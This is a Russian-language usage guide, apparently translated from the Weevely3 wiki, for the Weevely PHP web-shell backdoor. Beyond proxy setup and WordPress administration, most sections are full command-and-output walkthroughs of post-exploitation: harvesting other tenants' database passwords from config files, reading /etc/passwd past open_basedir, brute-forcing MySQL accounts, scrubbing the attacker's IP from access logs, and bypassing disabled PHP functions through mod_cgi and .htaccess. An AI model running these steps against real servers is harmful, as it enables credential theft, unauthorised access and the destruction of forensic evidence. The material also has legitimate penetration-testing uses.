Инструкция по использованию Weevely: инструмента веб-мастера и пентестера
Источник: официальная документация https://github.com/epinna/weevely3/wiki
Что такое Weevely
Weevely, в первую очередь, это инструмент для поддержания доступа и проведения, связанных с безопасностью, исследований целевой машины. Тем не менее, данная программа окажется полезной не только для хакеров, но и для веб-мастеров.
В данной инструкции по Weevely рассмотрены некоторые интересные примеры работы как по веб-администрированию, так и по тестированию на проникновение с Weevely.
Поддержка HTTP, SOCKS прокси и TOR’а
Weevely поддерживает прокси HTTP, SOCKS и использование анонимной сети Tor.
Использование
Установите прокси
weevely> :set proxy <type>://<host>:<port>
Или удалите его
weevely> :unset proxy
Примеры
Использовать HTTP прокси для подключения к цели.
www-data@target:/var/www $ :set proxy http://10.24.21.12:8080 proxy = http://10.24.21.12:8080 www-data@target:/var/www $ :system_info -info client_ip 10.24.21.12
Анонимизировать weevely используя прокси Tor SOCKS5, вызванному на порту 9050.
www-data@target:/var/www $ :set proxy socks5://127.0.0.1:9050 proxy = socks5://127.0.0.1:8080 www-data@target:/var/www $ :system_info -info client_ip 5.9.123.81
Использовать SOCKS4 прокси для подключения к цели.
www-data@target:/var/www $ :set proxy socks4://10.24.21.12:8090 proxy = socks4://10.24.21.12:8090 www-data@target:/var/www $ :system_info -info client_ip 10.24.21.12
Веб администрирование
Weevely упрощает администрирование вашего веб-аккаунта, особенно непривилегированного аккаунта на сервисах бесплатного хостинга и в другом используемом совместно окружении.
В этом разделе будут представлены два примера:
- Загрузка и установка веб-приложений – установка WordPress в две команды
- Редактирование SQL базы данных и кода веб-приложения – настройте WordPress на использование другой БД
Загрузка и установка веб-приложений
Здесь вы можете узнать, как загрузить и установить систему управления контентом WordPress в сильно ограниченном окружении, которое не позволяет выполнять шелл команды.
Вместо вызова системных команд, которые, быть может, невозможно выполнить в этом окружении, модули Weevely предлагают интуитивную замену, в которой вы себя будете чувствовать как в системном шелле.
Исходные данные
- Пример PHP конфигурации: disable_functions = system, proc_open, popen, passthru, shell_exec, exec, python_eval, perl_system
- Используемые модули: file_ls (ls), file_webdownload (wget), file_zip (zip), file_rm (rm)
Сессия
./weevely.py http://target/agent.php mypassword [+] weevely 3.0 [+] Target: target [+] Session: _weevely/sessions/localhost/agent_0.session [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type :help for more information. www-data@target:/var/www PHP> wget https://wordpress.org/latest.zip wp.zip www-data@target:/var/www PHP> ls . .. wp.zip www-data@target:/var/www PHP> zip --decompress wp.zip . True www-data@target:/var/www PHP> ls . .. wordpress wp.zip www-data@target:/var/www PHP> rm wp.zip True www-data@target:/var/www PHP>
Результат
Редактирование SQL базы данных и кода веб-приложения
Эта инструкция покажет, как просматривать базу данных и редактировать PHP скрипты, завязанные на целевую машину, в весьма ограниченном окружении, которое не позволяет выполнять команды оболочки.
Цель – настроить установленный WordPress на машине target так, чтобы он мог использовать новую базу данных wordpress2, размещённую на сервере target2.
Исходные данные
- Пример PHP конфигурации: disable_functions = system, proc_open, popen, passthru, shell_exec, exec, python_eval, perl_system
- Используемые модули: sql_console, pico (file_edit), gedit (file_edit)
Сессия
Начнём с проверки доступности учётных данных новой базы данных. Пожалуйста, обратите внимание, что подключение к target2 сделано завязанным на целевой хост, будто бы это стандартное ssh/telnet подключение.
./weevely.py http://target/agent.php mypassword [+] weevely 3.0 [+] Target: target [+] Session: _weevely/sessions/target/agent_0.session [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type :help for more information. weevely> :sql_console -user usr2 -passwd pwd2 -host target2 usr2@target2 SQL> show databases; +--------------------+ | information_schema | | wordpress2 | | test | +--------------------+ usr2@target2 SQL> show tables in wordpress2; +---------------------------+ | wp_commentmeta | | wp_comments | | wp_links | | wp_options | | wp_postmeta | | wp_posts | | wp_term_relationships | | wp_term_taxonomy | | wp_terms | | wp_usermeta | | wp_users | +---------------------------+ usr2@target2 SQL> ^DModule 'sql_console' execution terminated www-data@target:/var/www PHP>
Теперь мы готовы заменить информацию о базе данных в конфигурационном файле WordPress - wp-config.php.
www-data@target:/var/www PHP> cd wordpress www-data@target:/var/www/wordpress PHP> pico wp-config.php
Удалённые файлы также могут быть отредактированы с использованием локального графического редактора вроде gedit
www-data@target:/var/www/wordpress PHP> gedit wp-config.php
После сохранения изменений и закрытия редактора, мы получаем подстроенный файл WordPress wp-config.php.
Хакерство
Weevely является важным инструмент для задач последующей эксплуатации, таких как повышение привилегий и поддержание доступа даже в ограниченном окружении.
Далее представлены следующие примеры хакерского использования Weevely:
- Сбор учётных данных SQL – горизонтальное повышение прав
- Извлечение содержимого /etc/passwd без доступа для чтения – сбор информации об именах пользователя
- Брут-форс учётных данных SQL credentials – брут-форс SQL паролей на цели
- Очистка IP адреса из логов – Удаление следов из лога доступа
- Обход отключённых системных функций оболочки через mod_cgi и .htaccess
Сбор учётных данных SQL
Эта инструкция покажет, как собирать учётные данные других пользователей на сервере совместного хостинга, который не позволяет выполнение шелл команд.
Исходные данные
- Пример настройки PHP: disable_functions = system, proc_open, popen, passthru, shell_exec, exec, python_eval, perl_system
- Используемые модули: file_grep (grep)
Сессия
Поиск замечательной папки, которая содержит веб каталоги других пользователей.
./weevely.py http://target/agent.php mypassword [+] weevely 3.0 [+] Target: target [+] Session: _weevely/sessions/target/agent_0.session [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type :help for more information. weevely> ls . .. members www-data@target:/var/www PHP> cd members www-data@target:/var/www/members PHP> ls . .. alefst anssot latrwo leempt martol natsta rogjas rotozy tstanc virots yynost www-data@target:/var/www/members PHP>
Теперь мы запускаем команду grep (псевдоним для модуля file_grep) с сырым регулярным выражением для поиска зашифрованных паролей, сохранённых в других PHP скриптах. Используемое регулярное выражение пропускает все закомментированные строки (^[^*/#]) и ищет те, которые содержит слово pass и, возможно, имеют окончание word.
www-data@target:/var/www/members PHP> grep . '^[^*/#]*passw?o?r?d?' ./virots/config.php:$CFG->dbpass = 'FFFklasdhas()asdjj'; // your database password ./anssot/moodle/config.php:$CFG->dbpass = 'kasdhBSAUIGS77&'; // your database password ./leempt/wp/wp-config.php:define('DB_PASSWORD', 'AShasjdh177!@'); ./alefst/wordpress/wp-config.php:define('DB_PASSWORD', 'ajhfaifh123!'); ./martol/wordpress/wp-config.php:define('DB_PASSWORD', 'monkeydust1234'); ./yynost/sites/default/settings.php: 'password' => 'XXyyynotsgoghia(XX', ./martol/drupal-7.x/sites/default/settings.php: 'password' => 'jhj@&&hgdas98k', ./natsta/drupal/sites/default/settings.php: 'password' => '99copacabana', www-data@target:/var/www/members PHP>
Мы нашли 8 учётных данных за один раз. Мы можем также поиграться с grep для поиска строк, отвечающих за подключение к mysql.
www-data@target:/var/www/members PHP> grep . 'mysql_conn' ./rotozy/joosep-lineon/db.php:$g_link = mysql_connect( '10.4.4.24', 'rotozy', 'rotozy123') or die(); www-data@target:/var/www/members PHP>
Давайте протестируем последний с модулем sql_console.
www-data@target:/var/www/members PHP> :sql_console -user rotozy -passwd rotozy123 -host 10.4.4.7 rotozy@server7 SQL> SELECT USER(); +----------------+ | rotozy@server7 | +----------------+ rotozy@server7 SQL>
Есть!
Извлечение содержимого /etc/passwd без доступа для чтения
Определённые PHP конфигурации препятствуют выполнению команд внешней оболочки (с disable_functions) и предотвращают выход из корневой веб-папки (смотрите open_basedir). Это исключает любой прямой доступ к любому системному файлу (такому как /etc/passwd), что нужно для сбора дополнительной информации для проведения любых атак по повышению привилегий.
Модуль audit_etcpasswd напечатает содержимое /etc/passwd без его чтения.
Исходные данные
- Пример PHP конфигурации: disable_functions = system, proc_open, popen, passthru, shell_exec, exec, python_eval, perl_system и open_basedir = /var/www/html/
- Используемый модуль: audit_etcpasswd
Сессия
Здесь не доступны какие-либо внешние команды оболочки, доступна только оболочка PHP интерпретатора. Пробуем прямой доступ к целевому файлу.
./weevely.py http://target/agent.php mypassword [+] weevely 3.0 [+] Target: target [+] Session: _weevely/sessions/target/agent_1.session [+] Shell: PHP interpreter [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type :help for more information. www-data@target:/var/www/html PHP> cd /etc [-][cd] Failed cd '/etc': no such directory or permission denied www-data@target:/var/www/html PHP> cat /etc/passwd [-][download] File download failed, please check remote path and permissions
Прямой доступ невозможен. В любом случае, audit_etcpasswd может перечислить записи с пользователями.
www-data@target:/var/www/html PHP> :audit_etcpasswd --help usage: audit_etcpasswd [-h] [-real] [-vector {posix_getpwuid,file,fread,file_get_contents,base64}] Get /etc/passwd with different techniques. optional arguments: -h, --help show this help message and exit -real Filter only real users -vector {posix_getpwuid,file,fread,file_get_contents,base64} www-data@target:/var/www/html PHP> :audit_etcpasswd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin yzer:x:1000:1000:yzer,,,:/home/yzer:/bin/bash www-data@target:/var/www/html PHP>
И содержимое /etc/passwd всё равно извлечено.
Брут-форс учётных данных SQL credentials
Этот пример показывает, как брут-форсить учётные данные множества SQL пользователей.
Исходные данные
- Пример конфигурации PHP: disable_functions = system, proc_open, popen, passthru, shell_exec, exec, python_eval, perl_system и open_basedir = /var/www/html/
- Используемые модули: audit_etcpasswd, bruteforce_sql и sql_console
Сессия
Соберём там много системных имён, сколько мы можем. Даже если усиления с open_basedir не позволяет какой-либо доступ вне папки веб, и мы не можем выполнить системные команды, мы всё ещё можем перечислить системных пользователей используя audit_etcpasswd.
./weevely.py http://target/agent.php mypassword [+] weevely 3.0 [+] Target: target [+] Session: _weevely/sessions/target/agent_1.session [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type :help for more information. www-data@target:/var/www/html PHP> cd .. [-][cd] Failed cd '..': no such directory or permission denied www-data@target:/var/www/html PHP> cat /etc/passwd [-][download] File download failed, please check remote path and permissions www-data@target:/var/www/html PHP> :audit_etcpasswd -real root:x:0:0:root:/root:/bin/bash roblast:x:1000:1000:roblast,,,:/home/roblast:/bin/bash micjanost:x:1001:1001:micjanost,,,:/home/micjanost:/bin/bash pjgomes:x:1002:1002:pjgomes,,,:/home/pjgomes:/bin/bash pdpeers:x:1003:1003:pdpeers,,,:/home/pdpeers:/bin/bash www-data@target:/var/www/html PHP>
У нас есть 5 имён пользователей, которые мы можем попробовать брутфорсить для поиска SQL пароля. Запускаем модуль SQL брутфорса, используя в качестве словаря с паролями локальный файл wordlists/huge.txt.
www-data@target:/var/www/html PHP> :bruteforce_sql error: too few arguments usage: bruteforce_sql [-h] [-hostname HOSTNAME] [-users [USERS [USERS ...]]] [-pwds [PWDS [PWDS ...]]] [-fusers FUSERS] [-fpwds FPWDS] {mysql,pgsql} Bruteforce SQL database positional arguments: {mysql,pgsql} Service to bruteforce optional arguments: -h, --help show this help message and exit -hostname HOSTNAME Hostname -users [USERS [USERS ...]] Users -pwds [PWDS [PWDS ...]] Passwords -fusers FUSERS Local file path containing users list -fpwds FPWDS Local file path containing password list www-data@target:/var/www/html PHP> :bruteforce_sql mysql -users roblast micjanost pjgomes pdpeers root -fpwds wordlists/huge.txt roblast:reckoned pjgomes:national root:Gilchrist www-data@target:/var/www/html PHP>
За несколько секунд мы получили 3 из 5 учётных данных. Используйте sql_console для проверки найденных аккаунтов.
www-data@target:/var/www/html PHP> :sql_console -u root -p Gilchrist root@localhost SQL> show databases; +--------------------+ | mysql | | performance_schema | | test | | appdb | +--------------------+ root@localhost SQL>
🙂
Очистка IP адреса из логов
Эта инструкция покажет, как очистить следы доступа из логов на сервере, который не позволяет выполнение шелл-команд, при условии, что целевой файл лога имеет права записи для пользователя, запустившего наш агентский бэкдор.
Исходные данные
- Пример PHP конфигурации: disable_functions = system, proc_open, popen, passthru, shell_exec, exec, python_eval, perl_system
- Используемые модули: file_grep (grep), system_info, file_rm (rm), file_cp (cp)
Сессия
В этом примере конфигурации сервера с виртуальным хостингом, файл логов HTTP access виртуального хоста пользователя храниться в директории ~/logs/.
./weevely.py http://target/agent.php mypassword [+] weevely 3.0 [+] Target: target [+] Session: _weevely/sessions/target/agent_0.session [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type :help for more information. weevely> ls . .. htdocs logs cpanel .profile cgi-bin member@target:/home/member PHP> cd logs member@target:/home/member/logs PHP> ls . .. access.log member@target:/home/member/logs PHP>
Теперь запустите команду system_info для поиска нашего IP адреса, с которого пришло наше подключение.
member@target:/home/member/logs PHP> :system_info -info client_ip 174.122.136.104 member@target:/home/member/logs PHP>
Теперь запустите команду grep (псевдоним для модуля file_grep) для обнаружения нашего IP адреса в записях лог файлов.
member@target:/home/member/logs PHP> grep access.log 174.122.136.104 174.122.136.104 - - [21/Apr/2015:20:37:04 +0100] "GET /agent.php HTTP/1.1" 200 443 "http://www.google.co.uz/url?sa=t&rct=j&source=web&cd=136&ved=d7fQaxNTP&ei=qpG-lx-Uque6l97bG_EZfE&usg=FL237uTSYjAc8DC-d971rS4UUPyWV13nyK" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3" 174.122.136.104 - - [21/Apr/2015:20:34:01 +0100] "GET /agent.php HTTP/1.1" 200 443 "http://translate.googleusercontent.com/translate_c?depth=1&rurl=translate.google.com&sl=auto&tl=en&usg=200QawVTBiv_BPoQJdoQhA-yTa66mtGaEA" "Opera/9.52 (Macintosh; Intel Mac OS X; U; pt-BR)" 174.122.136.104 - - [21/Apr/2015:20:28:24 +0100] "GET /agent.php HTTP/1.1" 200 443 "http://www.google.com.uy/url?sa=t&rct=j&source=web&cd=183&ved=DJY1U23wu&ei=GfRq0HsncZ7nn32louwyv0&usg=oYydfzk5nYywMujSFCTAmFvz3i3U7IYMDW" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 (.NET CLR 3.5.30729)"
Мы можем видеть активность с нашего IP, которая была записана. Мы снова можем запустить grep с опцией -v для удаления нашего IP из логов, которые мы сохраним во временные файлы.
member@target:/home/member/logs PHP> grep access.log -v 174.122.136.104 -output cleaned.log member@target:/home/member/logs PHP>
Давайте проверим, действительно ли наш IP был удалён
member@target:/home/member/logs PHP> grep cleaned.log 174.122.136.104 member@target:/home/member/logs PHP>
Теперь мы можем заменить файлом cleaned.log реальный access.log.
member@target:/home/member/logs PHP> rm access.log member@target:/home/member/logs PHP> cp cleaned.log access.log member@target:/home/member/logs PHP> rm cleaned.log
Теперь наши следы убраны из целевого лог файла.
Обход отключённых системных функций оболочки через mod_cgi и .htaccess
Следующая техника была представлена в статье блога ASDIZZLE Getting shell access with PHP system functions disabled.
Эта инструкция покажет, как получить оболочку выполнения команд на сервере хостинга, который не позволяет какие-либо связанные с системой функции.
Исходные данные
- Пример PHP конфигурации: disable_functions = system, proc_open, popen, passthru, shell_exec, exec, python_eval, perl_system
- Используемые модули: audit_disablefunctionsbypass
Сессия
Этот модуль автоматически выполнит проверки, загрузит .htaccess и CGI скрипт и запусти псевдосистемную оболочку на удалённом сервере.
./weevely.py http://localhost/asd.php asdasd [+] weevely 3.2.0 [+] Target: www-data@target:/var/www/html [+] Session: _/weevely/sessions/localhost/asd_0.session [+] Shell: PHP interpreter [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type :help for more information. weevely> www-data@target:/var/www/html PHP> :audit_disablefunctionbypass [-][disablefunctionbypass] After usage, use ':file_rm' to remove '/var/www/html/.htaccess' and '/var/www/html/acubu.ved' [-][disablefunctionbypass] Run console without reinstalling with ':audit_disablefunctionbypass -just-run http://localhost/acubu.ved' [-][disablefunctionbypass] Type 'quit' to return to weevely shell. Requests are not obfuscated CGI shell replacement $ ps -aux PID TTY TIME CMD 24693 ? 00:00:00 apache2 24694 ? 00:00:00 apache2 24695 ? 00:00:00 apache2 24696 ? 00:00:00 apache2 24697 ? 00:00:00 apache2 24859 ? 00:00:00 acubu.ved 24864 ? 00:00:00 ps CGI shell replacement $ quit www-data@emilio-lin:/var/www/html PHP>
Чтобы не устанавливать каждый раз, вы можете опцией -just-run прямо в URL указывать на консоль, заменяющую оболочку.
www-data@emilio-lin:/var/www/html PHP> :audit_disablefunctionbypass -just-run http://localhost/acubu.ved [-][disablefunctionbypass] Type 'quit' to return to weevely shell. Requests are not obfuscated CGI shell replacement $ whoami www-data CGI shell replacement $
Связанные статьи:
- Где скачать вирусы с исходным кодом для анализа (93.2%)
- Брут-форс и эксплуатация скомпрометированных WordPress (61.7%)
- Как установить Pupy (59%)
- Скрытое управление компьютером на Windows (используя Metasploit) (58.3%)
- Как пользоваться netcat (nc), ncat (58.3%)
- WiFi-autopwner 2: инструкция по использованию и обзор новых функций (RANDOM - 1.4%)